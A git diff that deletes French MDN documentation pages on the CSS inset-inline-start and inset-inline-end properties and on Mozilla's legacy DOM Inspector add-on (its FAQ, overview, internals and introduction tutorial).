{{SpecName("CSS Logical Properties", "#propdef-inset-inline-end", "inset-inline-end")}}{{Spec2("CSS Logical Properties")}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.properties.inset-inline-end")}}

- -

Voir aussi

- -
    -
  • Les propriétés physiques correspondantes : -
      -
    • {{cssxref("top")}}
      • -
    • {{cssxref("right")}}
      • -
    • {{cssxref("bottom")}}
      • -
    • {{cssxref("left")}}
      • -
    -
    • -
  • {{cssxref("writing-mode")}}
    • -
  • {{cssxref("direction")}}
    • -
  • {{cssxref("text-orientation")}}
    • -
  • Les propriétés qui définissent les autres décalages : -
      -
    • {{cssxref("inset-block-start")}},
      • -
    • {{cssxref("inset-block-end")}},
      • -
    • {{cssxref("inset-inline-start")}}
      • -
    -
    • -
diff --git a/files/fr/inset-inline-start/index.html b/files/fr/inset-inline-start/index.html deleted file mode 100644 index 5bd6fd70f9..0000000000 --- a/files/fr/inset-inline-start/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: inset-inline-start -slug: inset-inline-start -tags: - - CSS - - Experimental - - Propriété - - Reference -translation_of: Web/CSS/inset-inline-start ---- -
{{CSSRef}}{{SeeCompatTable}}
- -

La propriété inset-inline-start définit le début du décalage logique en ligne (inline) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou  {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.

- -
-

Note : Avant Firefox 63, cette propriété était implémentée avec le nom offset-inline-start. Firefox 63 a mis à jour son implémentation afin de suivre les modifications apportées à la spécification.

-
- -
/* Valeurs de longueur */
-/* Type <length>       */
-inset-inline-start: 3px;
-inset-inline-start: 2.4em;
-
-/* Valeurs relatives à la largeur */
-/* du bloc englobant              */
-/* Type <percentage>              */
-inset-inline-start: 10%;
-
-/* Valeurs avec un mot-clé */
-inset-inline-start: auto;
-
-/* Valeurs globales */
-inset-inline-start: inherit;
-inset-inline-start: initial;
-inset-inline-start: unset;
-
- -

Elle est liée aux propriétés {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}} et {{cssxref("inset-inline-end")}} qui permettent de définir les autres décalages de l'élément.

- -

Syntaxe

- -

Valeurs

- -

La propriété inset-inline-start peut prendre les mêmes valeurs que la propriété {{cssxref("left")}}.

- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Exemples

- -

HTML

- -
<div>
-  <p class="exemple">Texte pour l'exemple</p>
-</div>
-
- -

CSS

- -
div {
-  background-color: yellow;
-  width: 120px;
-  height: 120px;
-}
-
-.exemple {
-  writing-mode: vertical-lr;
-  position: relative;
-  inset-inline-start: 20px;
-  background-color: #c8c800;
-}
- -

Résultat

- -

{{EmbedLiveSample("Exemples", 140, 140)}}

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName("CSS Logical Properties", "#propdef-inset-inline-start", "inset-inline-start")}}{{Spec2("CSS Logical Properties")}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.properties.inset-inline-start")}}

- -

Voir aussi

- -
    -
  • Les propriétés physiques correspondantes : -
      -
    • {{cssxref("top")}}
      • -
    • {{cssxref("right")}}
      • -
    • {{cssxref("bottom")}}
      • -
    • {{cssxref("left")}}
      • -
    -
    • -
  • Les autres propriétés qui définissent les autres décalages : {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}} et {{cssxref("inset-inline-end")}}
    • -
  • {{cssxref("writing-mode")}}
    • -
  • {{cssxref("direction")}}
    • -
  • {{cssxref("text-orientation")}}
    • -
diff --git a/files/fr/inspecteur_dom/dom_inspector_faq/index.html b/files/fr/inspecteur_dom/dom_inspector_faq/index.html deleted file mode 100644 index 1ba15a6767..0000000000 --- a/files/fr/inspecteur_dom/dom_inspector_faq/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: FAQ de l'Inspecteur DOM -slug: Inspecteur_DOM/DOM_Inspector_FAQ -tags: - - DOM_Inspector -translation_of: Tools/Add-ons/DOM_Inspector/DOM_Inspector_FAQ ---- -
{{ToolsSidebar}}
-

Cet outil est un module complémentaire pour les applications basées sur XUL comme Firefox ou Thunderbird. Si vous cherchez l'Inspecteur DOM intégré à Firefox, regardez plutôt la documentation pour L'Inspecteur.

-
- -

Comment faire pour inspecter une page/fenêtre web ?

- -

Le menu "File" permet différentes manières d'inspecter un document :

- -
-
Inspect Content Document
-
Inspecte un contenu non privilégié présent dans l'onglet choisi.
-
Inspect Chrome Document
-
Inspecte une application chrome. Cela inclut les fenêtres XUL ouvertes.
-
Inspect a URL
-
Cela sélectionne simplement la barre d'adresse de l'Inspecteur DOM. Cette barre d'adresse permet d'inspecter les documents qui peuvent être accédés via une URL. Inspecter une URL a pour effet de charger le document de correspondant à cette URL dans le panneau "Browser". Cela peut inclure des documents chrome. Il n'est cependant pas recommandé d'inspecter des documents XUL directement via URL, car certains comportements du document peuvent dépendre du fait que le document doit être contenu dans un autre document XUL. À la place, il est recommandé de charger le document XUL normalement (en utilisant des commandes ou en ouvrant des fenêtres dans l'application utilisée), puis de trouver et de l'inspecter grâce au menu "Inspect Chrome Document".
-
- -

Pourquoi certains nœuds dans le panneau "DOM nodes" apparaissent en rouge ?

- -

Ces nœuds sont des nœuds à contenu anonyme. Cela veut dire qu'ils ne sont pas dans le DOM généré par le document d’origine.

- -

Comment faire pour cacher ces nœuds anonymes ?

- -

Il est possible de cacher les nœuds anonymes dans l'inspecteur en décochant l'option "Show Anonymous Content" dans le menu menu "View".

- -

Il y beaucoup de nœuds #text vides que je ne vois pas dans le document d'origine. Que sont-ils, pourquoi sont ils là et comment s'en débarrasser ?

- -

Ces nœuds sont actuellement les sauts de ligne et l'espacement entre les éléments. Une longue discussion sur pourquoi ces nœuds sont présent est disponible dans le {{ Bug(26179) }}.

- -

En revanche, il est possible de cacher ces nœuds d'espaces dans l'inspecteur en décochant l'option "Show Whitespace Nodes" dans le menu "View". Il est à noter que certains nœuds de texte vide ne seront pas cachés. Ces nœuds ont en effet une propriété CSS white-space qui empêche l'agent utilisateur de réduire les séquences d'espaces, et ne sont donc pas cachés.

- -

Il est parfois difficile de trouver un nœud en particulier dans l'arbre DOM. Existe-t-il une manière plus rapide pour le trouver et naviguer dans l'arbre ?

- -

Bien sûr. Il est possible d'effectuer une recherche basée sur le nom du nœud, sur son id, ou même sur un attribut/paire de valeur. Pour effectuer une recherche il faut cliquer sur "Find Nodes..." dans le menu "Edit" (ou utiliser le raccourci Ctrl+f). Une fenêtre dans laquelle il est possible de rentrer les critères de la recherche apparaitra alors. La recherche de l'Inspecteur DOM utilise les RegExps JavaScript pour trouver les nœuds et fera de la correspondance partielle automatiquement. Ainsi, faire une recherche avec l'expression "tab" retournera des résultats pour tabpanel et tabbox en plus de tab. pour limiter la recherche, il est possible d'utiliser les marqueurs de début (^) et de fin ($) de chaîne de caractère. Ainsi, rechercher "^tab$" retournera uniquement les nœuds dont les noms sont exactement "tab".

- -

Il est également possible dans le cas d'un manque total d'information sur le noeud, d'essayer de le sélectionner en cliquant dessus. Pour cela, il faut trouver le nœud dans la page puis le sélectionner grâce au bouton "inspect by clickling" de la barre d'outils. Le menu "Edit" inclut également une option "Select Element by Click".

- -

Comment inspecter les pseudo-classes et les pseudo-éléments dans la vue des règles CSS ?

- -

L'Inspecteur DOM permet de forcer les pseudo-classes :hover, :active, et :focus à s'appliquer sur un nœud donné. Pour ce faire, il faut depuis le panneau des nœuds DOM, sélectionner le nœud et faire apparaître le menu contextuel (clic droit sur le nœud). Dans ce menu, il faut cliquer sur l'option Set Pseudo-classes qui permet d'appliquer les pseudo-classes mentionnées ci-dessus.

- -

Il n'y a actuellement aucun moyen d'inspecter les règles appliquées dynamiquement pour d'autres pseudo-classes ou pseudo-éléments en utilisant l'interface de l'Inspecteur DOM. Il est en revanche possible de trouver n'importe quelle règle (afin de la modifier) dans sa feuille de style parente en utilisant le "Style Sheets viewer" dans le panneau document, puis de la localiser dans le "CSS Rules viewer" du panneau "object".

- -
-

Informations sur le document d'origine

- -
    -
  • Autheur(s) : Christopher Aillon
    • -
  • Dernière mise à jour: November 11, 2003
    • -
  • Informations de copyright : Des portions de contenu sont © 1998–2007 par des contributeurs mozilla.org individuels. Le contenu est disponible sous licence Creative Commons | Détails.
    • -
-
diff --git a/files/fr/inspecteur_dom/index.html b/files/fr/inspecteur_dom/index.html deleted file mode 100644 index bb280fc286..0000000000 --- a/files/fr/inspecteur_dom/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Inspecteur DOM -slug: Inspecteur_DOM -tags: - - DOM - - 'DOM:Tools' - - DOM_Inspector - - Extensions - - 'Extensions:Tools' - - Themes - - 'Themes:Tools' - - Tools - - Web Development - - 'Web Development:Tools' - - XUL - - 'XUL:Tools' -translation_of: Tools/Add-ons/DOM_Inspector ---- -
{{ToolsSidebar}}
-

Cet outil est un module complémentaire pour les applications bassées sur XUL tels que Firefox ou Thunderbird. Si vous cherchez l'Inspecteur DOM intégré à Firefox, regardez plutôt la documention pour L'Inspecteur.

-
- -

L'inspecteur DOM (également connu sous l'appellation DOMi) est un outil de Mozilla servant à inspecter, parcourir et modifier le modèle objet de document des documents - habituellement des pages Web ou des fenêtres XUL.
- Il est possible de naviguer dans la  hiérarchie DOM en utilisant une fenêtre à deux panneau qui permet une visibilitée du document et de tout les noeuds qu'il contient.

- -

Documentation

- -
-
Introduction à l'Inspecteur DOM
-
Un tutoriel guidé qui aide à démarrer avec l'Inspecteur DOM.
-
- -
-
FAQ de l'Inspecteur DOM
-
Questions courantes sur l'Inspecteur DOM.
-
- -
-
Page sur de MozillaZine sur l'Inspecteur DOM
-
Des informations complémentaires sur l'Inspecteur DOM.
-
Comment compiler l'Inspecteur DOM.
-
Article de blog sur comment compiler l'Inspecteur DOM.
-
- -

Obtenir l'Inspecteur DOM.

- -
-
Firefox et Thunderbird
-
Il faut télécharger et installer L'Inspector DOM depuis le site web AMO. Les utilisateurs de Thunderbird naviguant dans AMO dans Firefox doivent sauvegarder le lien de l'installation, ou visiter la page Inspecteur DOM pour Thunderbird.
-
- -
-
Thunderbird 2
-
L'Inspecteur DOM pour Thunderbird 2 est disponible dans les modules complémentaires de Thunderbird. Il est également possible de compiler Thunderbird vous-même avec les options suivantes :
-
- -
ac_add_options --enable-extensions="default inspector"
-ac_add_options --enable-inspector-apis
-
- -
-
Mozilla Suite et SeaMonkey
-
Selectioner Outils > Development Web > Inspecteut DOM. Vous pouvez installer le panneau latéral via Éditer > Préferences > Avancé > Inspecteur DOM, puis en ouvrant le panneau de l'inspecteur et en visitant un site web.
-
- -

Reporter un bug dans l'Inspecteur DOM

- -

Utilisez le "component" "DOM Inspector" dans Bugzilla.

- -

Pour trouver qui a des connaissances sur le code de l'Inspecteur DOM ainsi que le pays dans lequel il se trouve, regardez  dans la liste des modules.

diff --git a/files/fr/inspecteur_dom/internals/index.html b/files/fr/inspecteur_dom/internals/index.html deleted file mode 100644 index d817bd62cf..0000000000 --- a/files/fr/inspecteur_dom/internals/index.html +++ /dev/null @@ -1,242 +0,0 @@ ---- -title: Interieur de l'Inspecteur DOM -slug: Inspecteur_DOM/Internals -translation_of: Tools/Add-ons/DOM_Inspector/Internals ---- -
{{ToolsSidebar}}
-

L'Inspecteur DOM est un module complémentaire pour les applications basées sur XUL comme Firefox ou Thunderbird. Si vous cherchez l'Inspecteur DOM intégré à Firefox, regardez plutôt la documentation pour L'Inspecteur.

-
- -

Il ya trois parties principales dans l'Inspecteur DOM. La plus utilisée est l'interface utilisateur principale basée sur inspector.xul. il s'agit de l'Inspecteur à deux panneaux qui apparait au lancement de l'outil.

- -

DOM Inspector primary UI inspecting browser.xul

- -

En dehors de l'interface principale de l'Inspecteur DOM, il y a quelques autres inspecteurs haut-niveau qui diffèrent légèrement (l'inspecteur d'objets et le panneau latéral de l'Inspecteur DOM utilisé dans SeaMonkey). Nous allons d'abord nous concentrer sur inspector.xul et son point d'entrée, puis nous allons ensuite expliquer comment ces autres inspecteurs diffèrent.

- -

L'Inspecteur DOM d'un point de vue haut niveau

- -

L'interface utilisateur principale de l'Inspecteur DOM est composée de barres d'outils et d'un "panelset." Le panelset contient deux panneaux. Un qui réagit aux changements occurrents dans le document inspecté. Et un qui réagit aux changements dans la sélection du premier panneau. Il s'agit respectivement du panneau document et du panneau objet.

- -

Le but d'un panneau est de gérer les "viewers" disponibles. En haut de chaque panneau, se trouve une barre d'outils qui contient :un bouton menu permettant de choisir quel viewer afficher parmi la viewer list, une étiquette affichant le nom du viewer actuel, et un autre bouton permettant d'effectuer des actions spécifiques au viewer.

- -

Les viewers sont chargés dynamiquement. Lorsqu'un panneau reçoit l'ordre de changer de viewer, l'ancien viewer est détruit et le nouveau est chargé à la place. Ainsi le panelset et les panneaux fonctionnent comme des frameset et frames. Cette comparaison s'avère très proche de la réalité, car chaque panneau contient en réalité un browser anonyme, et, car chaque viewer existe dans un document séparé chargé dans le navigateur. Cette séparation permet aux viewers d'être indépendants, aec un XUL de viewer défini dans son propre document et chargé dans sa propre portée, cela sans crainte de collisions entre le XUL, le CSS ou le JS. Une autre conséquence est qu’en utilisant un profil de développement correctement configuré, alors la plupart des changements développés sont visibles uniquement en changeant de viewer puis en revenant sur le viewer précédant.

- -

Sachant comment les viewers sont écrits, il est maintenant possible de jeter un oeil à l'organisation du code source de l'Inspecteur DOM.d

- -

Organisation du code source

- -

Le contenu du dossier racine de l'Inspecteur DOM devrait ressembler à ceci :

- -
    -
  • base/ -
      -
    • js/ -
        -
      • inspector-cmdline.js
        • -
      • Makefile.in
        • -
      -
      • -
    -
    • -
  • build/ -
      -
    • install.js
      • -
    • Makefile.in
      • -
    -
    • -
  • resources/ -
      -
    • content/ -
        -
      • …
        • -
      -
      • -
    • locale/ -
        -
      • …
        • -
      -
      • -
    • skin/ -
        -
      • …
        • -
      -
      • -
    • Makefile.in
      • -
    -
    • -
  • install.rdf
    • -
  • jar.mn
    • -
  • Makefile.in
    • -
  • makefiles.sh
    • -
- -

Pratiquement toute la partie intéressante se trouve dans le dossier resources/content/. Son contenu devrait ressembler à ceci :

- -
    -
  • extensions/ -
      -
    • …
      • -
    -
    • -
  • jsutil/ -
      -
    • …
      • -
    -
    • -
  • prefs/ -
      -
    • …
      • -
    -
    • -
  • res/ -
      -
    • …
      • -
    -
    • -
  • tests/ -
      -
    • …
      • -
    -
    • -
  • viewers/ -
      -
    • …
      • -
    -
    • -
  • browserOverlay.xul
    • -
  • commandOverlay.xul
    • -
  • editingOverlay.xul
    • -
  • Flasher.js
    • -
  • hooks.js
    • -
  • inspector.css
    • -
  • inspector.js
    • -
  • inspectorOverlay.xul
    • -
  • inspector.xml
    • -
  • inspector.xul
    • -
  • keysetOverlay.xul
    • -
  • object.js
    • -
  • object.xul
    • -
  • popupOverlay.xul
    • -
  • sidebar.js
    • -
  • sidebar.xul
    • -
  • statusbarOverlay.xul
    • -
  • tasksOverlay-cz.xul
    • -
  • tasksOverlay-ff.xul
    • -
  • tasksOverlay-mobile.xul
    • -
  • tasksOverlay-sb.xul
    • -
  • tasksOverlay-tb.xul
    • -
  • tasksOverlay.xul
    • -
  • toolboxOverlay.xul
    • -
  • utils.js
    • -
  • venkmanOverlay.xul
    • -
  • ViewerRegistry.js
    • -
- -

Superpositions (Overlays)

- -

Il y a de nombreux overlays. Certains overlays peuvent être décrits comme des overlays d'intégration hôte, et d'autres comme des overlays à structure partagée.

- -

Overlays d'intégration hôte

- -

L'Inspecteur DOM est une extension à utilité générique, adaptée à une utilisation avec n'importe quel toolkit d'application hôte de Mozilla. Afin que l'Inspecteur DOM soit utile avec son application hôte, il doit obligatoirement y avoir un moyen de lancer l'Inspecteur DOM depuis l'intérieur de l'application. Soit l'application fournit ces moyens eux-mêmes (généralement en intégrant l'Inspecteur DOM dans l'application), soit l'Inspecteur DOM doit explicitement supporter l'application en ayant ses propres options de menus et/ou raccourcis clavier avec des overlays d'intégration hôte.

- -

L'Inspecteur DOM supporte explicitement plusieurs applications Mozilla en fournissant des overlays d'intégration hôte. Ces overlays sont :

- -
    -
  • browserOverlay.xul
    • -
  • tasksOverlay-cz.xul
    • -
  • tasksOverlay-ff.xul
    • -
  • tasksOverlay-mobile.xul
    • -
  • tasksOverlay-sb.xul
    • -
  • tasksOverlay-tb.xul
    • -
  • tasksOverlay.xul
    • -
  • venkmanOverlay.xul
    • -
  • prefs/prefsOverlay.xul
    • -
- -

Un examen plus approfondi du manifeste chrome révèlera que l'Inspecteur DOM utilise également des overlays conditionnels dans sa fenêtre principale :

- -
overlay chrome://inspector/content/inspector.xul chrome://communicator/content/utilityOverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}
-overlay chrome://inspector/content/inspector.xul chrome://communicator/content/tasksOverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}
-
- -
overlay chrome://inspector/content/inspector.xul chrome://browser/content/baseMenuOverlay.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384}
-
- -

Ces overlays fournis par l'hôte permettent à l'Inspecteur DOM d'adopter une apparence et des sensations similaires à l'application hôte. (Au-dessus, respectivement SeaMonkey et Firefox).

- -

Il y a plusieurs overlays dans le dossier "resources/contents/" qui ne font pas partie de cette catégorie d'overlays d'intégration hôte. En effet, l'Inspecteur DOM utilise également des overlays partagés pour construire sa propre interface utilisateur.

- -

Overlays à structure partagée

- -

Jetter un oeil au contenu du fichier inspector.xul de l'interface utilisateur principale de l'Inspecteur DOM révélera qu'il ne contient quasiment aucun élément visible. Au moment présent, il a une boite à outils contenant un menubar vide et une barre d'outils vide, ainsi qu'une vbox vide :

- -
  <toolbox id="tbxInsToolbox">
-    <menubar id="mbrInspectorMain"/>
-    <toolbar id="tbInspectorPrimary"/>
-  </toolbox>
-
-  <vbox id="bxInspectorMain" flex="1"/>
-
- -

Il n'y a aucun menu, barres d'outils, etc. définies ici. Même la plupart des éléments qui ne sont pas visibles tels que key- et commandset, ne sont pas définis dans inspector.xul. Ils sont tirés d'une série d'overlays, afin que le XUL définissant l'interface de l’Inspecteur DOM puisse être organisé en unités discrètes. inspector.xul en lui-même n'est qu'un squelette définissant la structure et la disposition basique de la fenêtre principale de l'Inspecteur DOM, laissant ainsi la plupart de son contenu être ajouté par les overlays.

- -

En utilisant des overlays modulaires permet également au XUL commun d'être partagé à travers les différents documents qui composent l'interface de l'Inspectreur DOM, même si toutes les overlays ne sont pas partagées par plusieurs utilisateurs. Il existe des overlays sur mesure uniquement pour des organisations.

- -

Dans certains cas, les overlays sont surchargées par d'autres overlays. Si nous imaginons une structure d'arbre obtenue en connectant les overlays en tant qu'enfants des fichiers qu'elles "overlayent" tout en ignorant les overlays utilisées pour l'intégration hôte, nous pouvons alors visualiser l'arbre d'overlays pour un fichier donné. Voici l'arbre d'overlay étendu ne prenant pas en compte les overlays d'hôte pour inspector.xul :

- - - -

(Il est à noter que les overlays des sous dossiers du viewer —viewers/dom et viewers/styleRules— sont chargés à la suite des directives d'overlay dans le manifeste chrome de l'Inspecteur DOM, au lieu d'être simplement importé explicitement en utilisant une instruction de processus xul-overlay dans l'overlay surchargée)

- -
-
inspectorOverlay.xul
-
-

Ce fichier importe les scripts supérieurs, dont l'Inspecteur à besoin (cela inclut les dépendances). De plus, il définit le contenu du corps principal de la fenêtre de l'Inspecteur DOM c'est à dire : le panelset, les viewers documents et objets et le document du panneau du navigateur. (Le panneau du navigateur n'est pas un panneau viewer dans le sens ou les viewer document et objets eux le sont. C'est-à-dire les sortes de panneaux définis précédemment en relation avec le panelset. "panneau" est ici utilisé en fonction du panneau du navigateur dans un sens large pour décrire la mixture d'interface générique)

-
-
toolboxOverlay.xul
-
-

Cette overlay, remplit la boite à outils de l'Inspecteur, incluant les boutons de la barre d'outils et la "location bar" avec son bouton "inspect". toolboxOverlay.xul définit également la structure de menubar, sans pour autant définir le contenu des menus eux-mêmes.

-
-
popupOverlay.xul
-
-

Cette iverlay définit la plupart de la structure statique des menus dans le menubar, avec quelques exceptions. Pour des raisons évidentes, le contenu des menus dynamiques n’est pas défini ici. Les menus dynamiques comprennent les pop-up du menu Inspecter ("Inspect Content Document" et "Inspect Chrome Document") du menu fichier, et les menus "Document Viewer" et "Object Viewer" du menu View. La préférence menuitems dans le menu View qui affecte uniquement le viewer de noeuds DOM ("Blink Selected Element", etc..) sont ajouté par l'overlay de pop-up de ce viewer (resources/content/viewers/dom/popupOverlay.xul). C'est également vrai pour les menuitems Find et le menuitem "Select Element By Click" dans le menu Edit, car aucun viewer à part le viewer de noeuds DOM ne supporte ces features.

- -

Les autres objets du menu Edit sont également utilisés dans plusieurs menus contextuels de viewers. Pour cette raison, seuls les id des menuitems sont référencés ici, et les difinitions complètes sont importées depuis editingOverlay.xul. Les viewers qui incluent un ou plus de ces menuitems dans leu contexte suivent la même pratique.

- -

Le tooltip utilisé pour les menus Inspect—Celui utilisé pour afficher le titre d'un document et son URI pour un menuitme donné--est également défini ici.

-
-
commandOverlay.xul
-
Les menuitems fournis par popupOverlay.xul qui délèguent à des éléments de command externe ont leurs commandes définies ici.
-
keysetOverlay.xul
-
Certains menutimes fournis par popupOverlay.xul ont leurs keys définis ici. Au moment présent, toutes les clés qui correspondent aux objets du menu Edit sont dans editingOverlay sans aucune bonne raison.
-
statusbarOverlay.xul
-
Ce fichier définit le contenu de la barre de statuts de l'Inspecteur DOM. L'Inspecteur DOM n'ayant pas de barre de statut, ce fichier est complètement inutile.
-
diff --git a/files/fr/inspecteur_dom/introduction_to_dom_inspector/index.html b/files/fr/inspecteur_dom/introduction_to_dom_inspector/index.html deleted file mode 100644 index 6e31978549..0000000000 --- a/files/fr/inspecteur_dom/introduction_to_dom_inspector/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Introduction à l'Inspecteur DOM -slug: Inspecteur_DOM/Introduction_to_DOM_Inspector -tags: - - DOM_Inspector -translation_of: Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector ---- -
{{ToolsSidebar}}
- -

L'Inspecteur DOM est une extension Mozilla qui est accéssible depuis le menu Tools > Web Development dans SeaMonkey, ou en sélectionant "DOM Inspector" depuis le menu Developpement web de Firefox ou Thunderbird. L'Inspecteur DOM est un programe standalone qui supporte toutes les applications toolkit, et il est également possible de l'inclure dans votre propre application XUL. L'Inspecteur DOM peut servir à vérifier la qualitée et l'état du DOM, ou peut être utilisé pour manipuler le DOM à la main si besoin est.

- -
Note: Depuis Firefox 3, l'Inspecteur DOM n'est pas inclut par défaut dans Firefox. Il est alors nécessaire de le télécharger et de l’installer depuis le site des modules complémentaires de Mozilla. (Note lien mort)
- -

Au lancement de l'Inspecteur DOM, une application à deux panneaux apparait. L'Inspecteur DOM possède une barre d'adresse, et quelques menus comme ceux de Firefox. Dans SeaMonkey, des menus globaux sont présents en plus.

- -

domi.png

- -

Inspecter un Document

- -

Lors de l'ouverture de l'Inspecteur DOM, il est possible qu'un document associé ait été chargé. Cela dépend de l'application hôte. Si l'Inspecteur n'a pas automatiquement chargé un document ou a chargé un document différent de celui voulu, il existe plusieurs manières de sélectionner le document voulu.

- -

Inspecter les Content Documents

- -

L'option "Inspect Content Document" est accessible depuis le menu "File" et liste tous les content documents actuellement chargés. Dans les navigateurs Firefox et SeaMonkey, il s'agit des pages webs ouverts dans les onglets. Dans Thunderbird et SeaMonkey Mail and News, il s'agit des messages actuellement vus.domi-inspect-content-popup.png

- -

Inspecter les Chrome Documents

- -

L'option "Inspect Content Document" est accessible depuis le menu "File" , et liste toutes les fenêtres et sous documents chrome. Une fenêtre du navigateur et l'Inspecteur DOM ont de grandes chances d'être déjà affichés dans cette liste. L'inspecteur DOM garde la trace de toutes les fenêtres ouvertes. Ainsi pour inspecter le DOM d'une fenêtre en particulier, il suffit simplement accéder normalement à cette fenêtre puis de sélectionner son titre dans la liste mise à jour dynamiquement.

- -

domi-inspect-chrome-popup.png

- -

Inspecter arbitrairement des URLS

- -

Il est également possible d'inspecter arbitrairement le DOM d'URLS en utilisant l'option "Inspect and URL", ou simplement en utilisant la barre d'adresse de L'inspecteur DOM. Par exemple, il est possible de rentrer dans cette barre l'url http://www.mozilla.org, d'appuyer sur entrée puis de voir la structure DOM de la page d'accueil de mozilla.org.

- -

Il est extrêmement déconseillé d'utiliser cette approche pour inspecter des chrome documents. À la place, il faut s'assurer que le document se charge bien par les moyens normaux puis utiliser la méthode "Inspect Chrome Document".

- -

domi-inspect-chrome-popup.png

- -

Lors d'une inspection de page web via URL, un panneau navigateur affichant la page apparaitra en bas de l'Inspecteur DOM. Cela permet d'utiliser l'Inspecteur DOM sans avoir à utiliser un navigateur séparé et sans avoir à intégrer un navigateur dans votre application. Si le panneau navigateur prend trop place pour votre confort, il est possible de le fermer, mais alors, il sera impossible voir les conséquences de vos changements.

- -

Utiliser l'Inspecteur DOM

- -

Une fois que le document voulu est ouvert, il est possible de voir que l'Inspecteur DOM charge le viewer "Document - DOM nodes" panneau document et le viewer "Object - DOM Nodes" dans le panneau objet. Le panneau document affiche alors une vue structurée et hiérarchisée du DOM. En cliquant, dans le panneau document, le panneau Objet est automatiquement mis à jour pour afficher les informations du noeud actuellement sélectionné. Ces viewers sont dits viewers liés et sont un aspect important à avoir en tête lors de l'apprentissage de l'utilisation de l'Inspecteur DOM.

- -

Les viewers de l'Inspecteur DOM

- -

Il est à noter que les deux viewer précédemment mentionnés ne sont que deux viewers fournis par défaut. Il est possible d'utiliser d'autres viewers, mais pour l'instant, il convient de continuer à les décrire.

- -

Le viewer de noeuds DOM dans le panneau document permet de chercher et de trouver et d'inspecter des noeuds DOM. Un des plus grands avantages que cela apporte au développement web, est qu'il est possible de trouver le markup et les noeuds dans lesquels la partie intéressante se trouve. Une utilisation ordinaire de l'Inspecteur DOM est de trouver le nom et la position d'une icône en particulier utilisée dans l'interface utilisateur. Dans le cas de l'inspection d'un chrome document, la sélection d'un noeud DOM dans le viewer, la version rendue de ce noeud est mise en surbrillance dans l'interface utilisateur elle-même. (Il est à noter qu'il existe des bugs qui empêche de le flasher de l'API de l'Inspecteur DOM de fonctionner correctement sur certaines plateformes) .

- -

Par exemple lors de l'inspection de la fenêtre principale du navigateur et de la sélection d'un noeud dans le viewer (noeud possédant une UI visible), de nombreuses parties de l'interface du navigateur seront mises en surbrillance par une bordure rouge clignotante. Il est possible de rentrer dans cette structure pour trouver des noeuds plus spécifiques tels que l'icône du bouton de la barre recherche.

- -

domi-edit-search-onclick.png

- -

Une fois, un noeud sélectionné, il est possible de choisir n'importe lequel des viewers disponibles pour afficher les informations du noeud dans le panneau objet. Ces viewers sont tous disponibles dans la liste déroulante accessible depuis le bouton en haut à gauche du panneau objet :

- -

domi-object-viewers.png

- -

Dans le cas de la sélection d'une icône, pour trouver le nom du fichier utilisé, il est nécessaire de sélectionner le viewer "CSS Rules" et de chercher parmi les règles CSS, la règle qui définit l'image.

- -

La liste des viewers disponible donne une idée des possibilités d'extensibilité de l'Inspecteur DOM. Les descriptions suivantes fournissent une vue d'ensemble des viewers disponibles :

- -

Le viewer DOM Node affiche les informations du noeud sélectionné. Il permet également de modifier les attributs ou le contenu textuel du noeud.

- -

Le viewer Box Model affiche des informations variées sur les éléments XUL et HTML, incluant le placement et la taille de ces éléments.

- -

Le viewer XBL Bindings liste tous les bindings XBL attachés aux éléments.

- -

Le viewer CSS Rules affiche les règles CSS appliquées au noeud sélectionné. Lors d'une utilisation conjointe avec le viewer Style Sheets, ce viewer liste toutes les règles reconnues de la style sheet sélectionné dans l'ordre. Les propriétés CSS peuvent être modifiées. Les règles s'appliquant aux pseudo-éléments n'apparaissent pas.

- -

Le viewer JavaScript Object affiche un arbre hiérarchisé du sujet du panneau objet. Ce viewer permet également d'évaluer du JavaScript en sélectionnant l'option appropriée dans le menu contextuel.

- -

Actions de base du viewer DOM Nodes

- -

Sélectioner des éléments au clic

- -

Une autre fonctionnalité interactive de l'Inspecteur DOm est que lorsque l'Inspecteur DOM est ouvert et que cette fonctionnalité a été activée en choisissant Edit > Select Element by Click ou en cliquant sur l'icône en forme de loupe dans le coin en haut à gauche de l'Inspecteur DOM, il est alors possible de cliquer n'importe ou dans la page et l'élément cliqué aura son noeud DOM correspondant dans L'Inspecteur sélectionné.

- -

Chercher des noeuds dans le DOM

- -

Une autre façon d'inspecter le DOM est de chercher un élément particulier via son ID, sa class ou un de ses attributs. Cliquer sur Edit > Find Nodes... ou utiliser le raccourci Ctrl + F, affichera une pop-up qui permet de rechercher de différentes manières.

- -

domi-find-appcontent.png

- -

Mettre à jour le DOM dynamiquement

- -

Chaque noeud peut être édité, et le DOM sera mis à jour automatiquement. Les viewers dans le panneau objet permettent également de modifier le DOM. La plupart des modifications se font via les options du menu contextuel.

- -

domi-edit-search-onclick.png

- -

Cette interactivité permet par exemple de grossir/réduire la taille des éléments, changer des icônes, et plein d'autres choses. Tout cela sans avoir besoin de modifier les fichiers sources.

- -

Aimer l'Inspecteur

- -

L'Inspecteur DOM peut prendre du temps à prend en main, mais une fois maitrisé, vous viendrez peut être à penser que les fonctionnalités de l'Inspecteur sont exactement ce qui manquait au développement d'applications web. L'Inspecteur DOM ne fait pas que présenter des informations sur les pages de manière claire et structurée, il donner également la possibilité de chercher dans cette structure et de la mettre à jour dynamiquement. Utiliser l'Inspecteur DOM avec d'autres outils Mozilla comme Venkman, le JavaScript debugger et le DOM Inspector peut véritablement vous donner une vue complète de n'importe quelle page web ou application basée sur une interface DOM

